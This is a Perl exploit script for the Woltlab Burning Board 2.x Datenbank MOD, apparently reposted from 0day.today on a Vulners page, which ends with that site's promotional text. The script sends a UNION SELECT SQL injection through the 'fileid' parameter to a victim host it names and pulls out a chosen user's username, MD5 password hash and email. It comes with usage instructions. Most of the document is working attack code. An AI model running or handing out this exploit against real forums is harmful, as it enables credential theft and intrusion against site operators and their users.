=====================================================================
Woltlab Burning Board 2.x Datenbank MOD (fileid) Remote SQL Injection
=====================================================================
#!/usr/bin/perl
#Method found & Exploit scripted by nukedx
#Usage: wbb.pl <victim> <directory> <modpage> <dbnum> <userid>
use IO::Socket;
if(@ARGV < 5){
print "
+*************************************************************************+
+Woltlab Burning Board 2.x (Datenbank MOD fileid) Remote SQL Injection XPL+
+ Usage: wbb.pl <victim> <directory> <modpage> <dbnum> <userid> +
+ Example: wbb.pl sux.com / info_db.php 1 1 +
+ Method found & Exploit scripted by nukedx +
+*************************************************************************+
";
exit();
}
#Local variables
$wbbserver = $ARGV[0];
$wbbserver =~ s/(http:\/\/)//eg;
$wbbhost = "http://".$wbbserver;
$port = "80";
$wbbdir = $ARGV[1];
$wbbpage = $ARGV[2];
$wbbdbid = $ARGV[3];
$wbbid = $ARGV[4];
$wbbtar = $wbbpage."?action=file&subkatid=1&noheader=1&fileid=";
$wbbxp = "-1/**/UNION/**/SELECT/**/0,0,0,username,email,0,0,0,0,0,password,0,0,0,0,0,0,0/**/FROM/**/bb".$wbbdbid."_users/**/where/**/userid=".$wbbid;
$wbbreq = $wbbhost.$wbbdir.$wbbtar.$wbbxp;
$tag = "'s";
#Writing data to socket
print "+**********************************************************************+\n";
print "+ Trying to connect: $wbbserver\n";
$wbb = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$wbbserver", PeerPort => "$port") || die "\n+ Connection failed...\n";
print $wbb "GET $wbbreq\n";
print $wbb "Host: $wbbserver\n";
print $wbb "Accept: */*\n";
print $wbb "Connection: close\n\n";
print "+ Connected!...\n";
while($answer = <$wbb>) {
if ($answer =~ /<span class=\"smallfont\"><b>(.*?)<\/b> <\/td>/){
print "+ Exploit succeed! Getting USERID: $wbbid$tag login information.\n";
print "+ USERNAME: $1\n";
}
if ($answer =~ /([\d,a-f]{32})<\/td>/) {
print "+ MD5 HASH OF PASSWORD: $1\n";
}
if ($answer =~ /<p><ul>(.*?)<\/ul><\/td>/) {
print "+ MAIL: $1\n";
print "+ SQL Injection exploit has been succesfully finished.\n";
print "+ Woltlab runs on: $wbbhost$wbbdir\n";
print "+**********************************************************************+\n";
exit();
}
if ($answer =~ /users' doesn't exist /) {
print "+ This version of Datenbank MOD is vulnerable too but you have speficied wrong database number!\n";
print "+**********************************************************************+\n";
exit();
}
if ($answer =~ /number of columns/) {
print "+ This version of Datenbank MOD is vulnerable too but default query of SQL-inject doesnt work on it\n";
print "+ So please edit query by manually adding or removing null datas..\n";
print "+**********************************************************************+\n";
exit();
}
}
print "+ Exploit failed :(\n";
print "+**********************************************************************+\n";
# 0day.today [2018-01-04] #Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation